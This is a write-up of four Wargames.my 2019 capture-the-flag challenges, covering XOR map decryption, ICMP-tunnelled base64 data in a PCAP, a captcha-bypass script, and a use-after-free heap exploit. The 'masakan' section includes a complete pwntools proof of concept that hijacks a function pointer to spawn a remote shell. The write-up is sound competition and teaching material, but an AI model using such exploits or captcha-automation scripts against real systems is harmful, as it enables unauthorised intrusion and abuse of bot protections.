



Wargames.my 2019 writeup

woitheuK

NothingToSeeHere

You are given a python file ntsh.py. It's a simple game where you can supposedly move around a map and upon playing, you'll noticed that you can't move around much.

My first intuition is that the flag is on the map, but somehow, the game logic does not allow you to move around certain location on the map. Time to dig in to the source.

The source is simple to understand, no fancy obfuscation except for a large chunk of compiled python source which is stored as a base64 encoded string.

```
ntsh.py
1  import os, sys, time
2  import msvcrt, base64, zlib, marshal, importlib, types
3
4  DEBUG = False
5  player_cpos = (10,4)
6  player_ppos = player_cpos
7
8  if DEBUG:
9      from gamelogic import Logic
10     logic = Logic(player_cpos)
11 else:
12     logic = "eJzU+7muxNye5Yl9997MrKrsLqm9bqONdiUC4jx5CgbneZ6ARoNjcJ5nZAECsg+8"
13     logic = base64.b64decode(logic)
14     logic = zlib.decompress(logic)
15     logic = marshal.loads(logic[16:])
16     mod = types.ModuleType("gamelogic")
17     exec(logic, mod.__dict__)
18     logic = mod.Logic(player_cpos)
19
20 def render_screen():
21     global logic, player_cpos
22
23     os.system("cls")
24     print("
25     print(" Welcome to Wargames.my 2019 Annual CTF ")
26     print("
27     print(" Challenge Nothing To See Here! ")
28     print(" Author klks (@klks84) ")
29     print("
30
31     if logic:
32         print(logic.viewport)
33     print(f"Player position => X:{player_cpos[0]} Y:{player_cpos[1]}")
34     print("Use wasd to move character")
35     print("Press q to quit")
36
37 def wait_player_move():
38     global player_cpos
39     pmove = msvcrt.getche()
40
41     cur_x, cur_y = player_cpos
42     if pmove == b"w":
43         cur_y -= 1
44         if 4 > cur_y: cur_y = 4
45     elif pmove == b"a":
46         cur_x -= 1
47         if 10 >= cur_x: cur_x = 10
48     elif pmove == b"s":
49         cur_y += 1
50     elif pmove == b"d":
51         cur_x += 1
```

The “logic[16:]” part at line 15 is a clear indicator that you’ll need python version 3 to run/decompile it (because compiled python 3 pyc have 16 bytes of header info). Using uncompyle6, I managed to get another python source. Inside the source file, there seems to be another base64 encoded data but this time around, it’s not a compiled python bytecode, but rather an encrypted map data. The interesting part of the game logic is located here:

```
51         else:
52             new_viewport.append('_____')
53             smile_edit = list(new_viewport[4])
54             smile_edit[8] = '●'
55             new_viewport[4] = ''.join(smile_edit)
56             self.viewport = '\n'.join(new_viewport)
57
58     def __gen_decode_key(self):
59         random.seed(949127234)
60         self.d_keys = []
61         for r in range(93):
62             kr = []
63             for k in range(155):
64                 kr.append(random.randint(33, 126))
65
66             self.d_keys.append(kr)
67
68     def __decode_view(self, data, key):
69         if self.DEBUG:
70             return data
71         new_data = []
72         for d, k in zip(data, key):
73             l = []
74             for i, sd in enumerate(d):
75                 l.append(chr(ord(sd) ^ k[i]))
76
77             new_data.append(''.join(l))
78
79         return new_data
80
81     def player_move(self, player_pos):
82         pos_x, pos_y = player_pos
83         if pos_x > 15:
84             pos_x = 15
85         if pos_y > 10:
86             pos_y = 10
87         data = []
88         key = []
89         for i in range(5):
90             vp = self.game_map[(pos_y + i)]
91             vp = vp[pos_x:pos_x + 16]
92             vk = self.d_keys[(pos_y + i)]
93             vk = vk[pos_x:pos_x + 16]
94             data.append(vp)
95             key.append(vk)
96
97         data = self._Logic_decode_view(data, key)
98         self._Logic_update_viewport(data)
99         # okay decompiling lol.pyc
100
```

< Python file

It’s clear that the map will be decoded using simple XOR. Modify the code so that it decrypts the whole map, and upon inspecting the map, you’ll see the flag.



Wargames.my 2019 writeup

woitheuK

ayah-peng.pcapng

You are given a PCAP file. Inspecting the PCAP file, you'll notice a lot of ICMP echo (PING) packets. Nobody would PING anyone with this many packets. Set the filter to "icmp.type == 8" to see all the PING requests. Checking the payload, it is definitely not the usual payload that you'll see in ICMP echo packets.

The first payload looks something like this:

0000	b8 08 d7 b6 02 5e 9c b6 d0 f8 6b 8b 08 00 45 00^....k...E.
0010	00 54 17 97 40 00 40 01 48 bb c0 a8 01 0c a7 47	.T...@.H.....G
0020	71 5b 08 00 5b 21 2a 63 00 01 e7 18 f2 5d 00 00	q[...[*c.....]..
0030	00 00 91 5a 0a 00 00 00 00 00 69 56 42 4f 52 77	...Z.....iVBORw
0040	30 4b 47 67 6f 41 41 41 41 4e 69 56 42 4f 52 77	OKGgoAAAANiVBORw
0050	30 4b 47 67 6f 41 41 41 41 4e 69 56 42 4f 52 77	OKGgoAAAANiVBORw
0060	30 4b	OK

Notice the repeating bytes, 16 bytes of data repeated in every packet, all ASCII printable characters, within the range of a base64 characters.

I run **tshark** to extract the payloads (go figure the exact command to achieve that 😊). Combining 16 bytes of data from each packet together, I got a valid base64 string that decodes to a PNG image below.



The QRCode decodes to "ctf-should-be-free-like-wgmy/flag.zip". Old servers of wargames.my is most probably a subdomain of wargames.my. Using an online tool to search for subdomains, e.g. "Robtex", I found "rahsia.wargames.my". This url "**http://rahsia.wargames.my/ctf-should-be-free-like-wgmy/flag.zip**" downloads a password protected zip file. The password is underlined in red in the decoded PNG file. The zip file contains flag.txt with the following content:

wgmy{f8cdb89376cd891dbeddf05883bdf0d2}



Wargames.my 2019 writeup

woitheuK

masakan

You are given a 64-bit ELF file named “masakan” which display a menu like the following once run (or accessed at 45.76.161.20:40076).

```
root@kali:~/Desktop# ./VM_shared/masakan
-----
          Kelas Memasak
-----
1. Masak
2. Buang
3. Hidang
4. Balik
-----
Pilihan :1
Nama masakan:Kuehtiw goreng kerang
Jumlah ramuan:100
Ramuan:Kerang !!!!!!!!!!!
Siap!
-----
          Kelas Memasak
-----
1. Masak
2. Buang
3. Hidang
4. Balik
-----
Pilihan :█
```

Inspecting the program in IDA Pro, you’ll see that the program can create up to 5 “masakan”, each is stored in an array at address 0x0602040.

```
0x060204:
+0x0000  [] ---> malloc(24) : masakan struct
+0x0008  []
+0x0010  []
+0x0018  []
+0x0020  []
/
\-----> masakan struct
+0x0000  [func pointer] ----> function that calls puts()
+0x0008  [char pointer] ----> malloc(x), where x is input from "Jumlah ramuan:"
+0x0010  [char pointer] ----> malloc(100) Nama masakan
```

However, it **does not properly deletes** “masakan” via option “2. Buang”. Why do you say? Look here:

```

.text:000000000400ACA var_14 = dword ptr -14h
.text:000000000400ACA buf = byte ptr -10h
.text:000000000400ACA var_8 = qword ptr -8
.text:000000000400ACA
.text:000000000400ACB push rbp
.text:000000000400ACE mov rbp, rsp
.text:000000000400AD2 sub rsp, 20h
.text:000000000400ADB mov rax, fs:28h
.text:000000000400ADF mov [rbp+var_8], rax
.text:000000000400AE1 xor eax, eax
.text:000000000400AE6 mov edi, offset aOrder ; "Order:"
.text:000000000400AEB mov eax, 0
.text:000000000400AEF call printf
.text:000000000400AF0 lea rax, [rbp+buf]
.text:000000000400AF4 mov edx, 4 ; nbytes
.text:000000000400AF9 mov rsi, rax ; buf
.text:000000000400AFC mov edi, 0 ; fd
.text:000000000400B01 call read
.text:000000000400B06 lea rax, [rbp+buf]
.text:000000000400B0A mov rdi, rax ; nptr
.text:000000000400B0D call atoi
.text:000000000400B12 mov [rbp+var_14], eax
.text:000000000400B15 cmp [rbp+var_14], 0
.text:000000000400B19 js short loc_400B26
.text:000000000400B1B mov eax, cs:dword_60203C
.text:000000000400B21 cmp [rbp+var_14], eax
.text:000000000400B24 jl short loc_400B3A
.text:000000000400B26 loc_400B26: ; CODE XREF: sub_400ACA+4F↑j
.text:000000000400B26 mov edi, offset aMejaDahKosong ; "Meja dah kosong?"
.text:000000000400B2B call puts
.text:000000000400B30 edi, 0 ; status
.text:000000000400B35 call _exit
; -----
.text:000000000400B3A loc_400B3A: ; CODE XREF: sub_400ACA+5A↑j
.text:000000000400B3A mov eax, [rbp+var_14]
.text:000000000400B3D cdqe
.text:000000000400B3F mov rax, ds:ptr[rax*8]
.text:000000000400B47 test rax, rax
.text:000000000400B4A jz short loc_400B84
.text:000000000400B4C mov eax, [rbp+var_14]
.text:000000000400B4F cdqe
.text:000000000400B51 mov rax, ds:ptr[rax*8]
.text:000000000400B59 mov rax, [rax+8]
.text:000000000400B5D mov rdi, rax ; ptr
.text:000000000400B60 call free
.text:000000000400B65 mov eax, [rbp+var_14]
.text:000000000400B68 cdqe
.text:000000000400B6A mov rax, ds:ptr[rax*8]
.text:000000000400B72 mov rdi, rax ; ptr
.text:000000000400B75 call free
.text:000000000400B7A mov edi, offset aTakSedapYeDik ; "Tak sedap ye dik?"
.text:000000000400B7F call puts
.text:000000000400B84 loc_400B84: ; CODE XREF: sub_400ACA+80↑j
.text:000000000400B84 nop
.text:000000000400B85 mov rax, [rbp+var_8]
.text:000000000400B89 xor rax, fs:28h
.text:000000000400B92 jz short locret_400B99
.text:000000000400B94 call __stack_chk_fail
; -----
.text:000000000400B99 locret_400B99: ; CODE XREF: sub_400ACA+C8↑j
.text:000000000400B99 leave
.text:000000000400B9A retn
.text:000000000400B9A sub_400ACA endp

```

Notice that after the two **free()** function calls, there is no code that deletes the entry at 0x060204. This is a recipe for “use-after-free” 😊.

What this means is that, after the two **free()** calls, the pointer at 0x060204 is still there and “usable”, hence the name “use-after-free”.

Also notice that the data structure in the previous page contains a function pointer that calls a function that prints the name of the “masakan” via option “3. Hidang”. So the task is simple, allocates several “masakan”, deallocate some “masakan”, and reallocated some “masakan” so that we can control the function pointer. What should be the content of choice to overwrite the function pointer with? Well, the creator of the challenge is kind enough to include a function that call **system()** at address **0x0400C9B** so just use that one as the payload. Thx :)

The following is a POC that exploits the bug and pops a shell at the remote box.

```

from pwn import *

syst = 0x400c5b

p = remote('45.76.161.20', 40076)
#p = process('./masakan')

#create
print(p.recvuntil('Pilihan :')) #menu
p.sendline("1")
p.recvuntil('Nama masakan:')
p.sendline("AAAAAAAAAA")
p.recvuntil('Jumlah ramuan:')
p.sendline("2")
p.recvuntil('Ramuan:')
p.sendline("A")

print(p.recvuntil('Pilihan :')) #menu
p.sendline("1")
p.recvuntil('Nama masakan:')
p.sendline("BBBBBBBBB")
p.recvuntil('Jumlah ramuan:')
p.sendline("100")
p.recvuntil('Ramuan:')
p.sendline("BBBBBB")

print(p.recvuntil('Pilihan :')) #menu
p.sendline("1")
p.recvuntil('Nama masakan:')
p.sendline("/bin//sh")
p.recvuntil('Jumlah ramuan:')
p.sendline("100")
p.recvuntil('Ramuan:')
p.sendline("CCCCCCC")

print(p.recvuntil('Pilihan :')) #menu
p.sendline("1")
p.recvuntil('Nama masakan:')
p.sendline("DDDDDDDDDD")
p.recvuntil('Jumlah ramuan:')
p.sendline("2")
p.recvuntil('Ramuan:')
p.sendline("D")

#delete
print(p.recvuntil('Pilihan :')) #menu
p.sendline("2")
p.recvuntil("Order:")
p.sendline("2")

print(p.recvuntil('Pilihan :')) #menu
p.sendline("2")
p.recvuntil("Order:")
p.sendline("1")

#create
print(p.recvuntil('Pilihan :')) #menu
p.sendline("1")
p.recvuntil('Nama masakan:')
p.sendline("/bin//sh")
p.recvuntil('Jumlah ramuan:')
p.sendline("24")
p.recvuntil('Ramuan:')
p.sendline(p64(syst))

#TRIGGER
print(p.recvuntil('Pilihan :')) #menu
p.sendline("3")
p.recvuntil('Ramuan:')
p.sendline("2")

p.interactive()

```

Once you get shell access, just do “cat flag.txt” to view the flag. 😊



Wargames.my 2019 writeup


woitheuK

robot-captcha

You are presented with a page that requires you to bypass a captcha which is near impossible to be bypassed manually and requires the help of a robot (read: script) to bypass it.

Blip Blip! This page is **supposedly** only accessible by a robot.
You need to solve below "captcha" to reveal the **secret content**.
Well, there is a time limit on bottom right corner, to make sure you are really a robot.
As I'm feeling generous today, you only need to have 90% of correct attempt to succeed!
Good luck!

Attempt: 0/500
Correct: 0/450



Cat Dog

194s

After analysing the web traffic using OWASP ZAP to get an idea on the requests involved, I noticed that the image set is quite large. Probably the crew used some algo to generate more images (image mutation) from a set of base images. At first, I was thinking of brute forcing but later dropped the idea. Next, my intuition was to use machine learning + image processing/recognition. I did search for a while to look for a good model that had already implemented a good dog vs cat image recognition but gave up since I couldn't find enough info to conclude that the model is usable. One thing about machine learning is that you need a model that was trained with a large amount of data AND the trained dataset MUST closely resembles the test set, or you could get unpredictable result.

So, I come up with this idea to write a script that upon encountering an image, stores the CRC32 hash of the image inside a list. There will be two list, one for dog and the other one for cat. I choose CRC32 because of its speed. Whenever an image is encountered and the CRC32 hash matches the one already in the list, the script will provide the correct answer. If not, the script will just guess and decide where to store the CRC32 hash based on the response. This way, the script will build its own database and it will be just a matter of time before it has enough data to "guess" with very high probability.

Here is the script.

```
import requests, json, binascii

r = requests.get('https://robot-captcha.wargames.my/')

dogdb = []
catdb = []

with requests.Session() as s:
    s.request("GET", "https://robot-captcha.wargames.my/api.php?reset_all")
    while (z < 450):
        try:
            p = s.request("GET", "https://robot-captcha.wargames.my/api.php?req")
            h = binascii.crc32(p.content)
            g = ''
            if h not in dogdb:
                x = s.request("GET", "https://robot-captcha.wargames.my/api.php?submitanswer=cat")
                g = "c"
            else:
                x = s.request("GET", "https://robot-captcha.wargames.my/api.php?submitanswer=dog")
                g = "d"
            y = json.loads(x.content.decode("UTF-8"))
            z = y["correct_cnt"]
            if (y["status"] == 'Correct'):
                if g == "d":
                    dogdb.append(h)
                else:
                    catdb.append(h)
            print(g + " attempt: " + str(y["attempt_cnt"]) + " correct: " + str(y["correct_cnt"]))
        except:
            if g == "d":
                catdb.append(h)
            else:
                dogdb.append(h)
    s.request("GET", "https://robot-captcha.wargames.my/api.php?reset_all")
    x = s.request("GET", "https://robot-captcha.wargames.my/api.php?get_flag")
    print(x.content)
```

It took me quite some time waiting and I finally got the flag XD .

```
c attempt: 467 correct: 427
d attempt: 468 correct: 428
c attempt: 469 correct: 429
d attempt: 470 correct: 430
d attempt: 471 correct: 431
c attempt: 472 correct: 432
d attempt: 473 correct: 433
d attempt: 474 correct: 434
c attempt: 475 correct: 435
c attempt: 476 correct: 436
c attempt: 477 correct: 437
c attempt: 478 correct: 438
c attempt: 479 correct: 439
c attempt: 480 correct: 440
c attempt: 481 correct: 441
d attempt: 482 correct: 442
d attempt: 483 correct: 443
d attempt: 484 correct: 444
c attempt: 485 correct: 445
d attempt: 486 correct: 446
c attempt: 487 correct: 447
c attempt: 488 correct: 448
d attempt: 489 correct: 449
d attempt: 490 correct: 450
b'wgmy{2fca11a75e1d472145c7dbf54dfc8102}'
```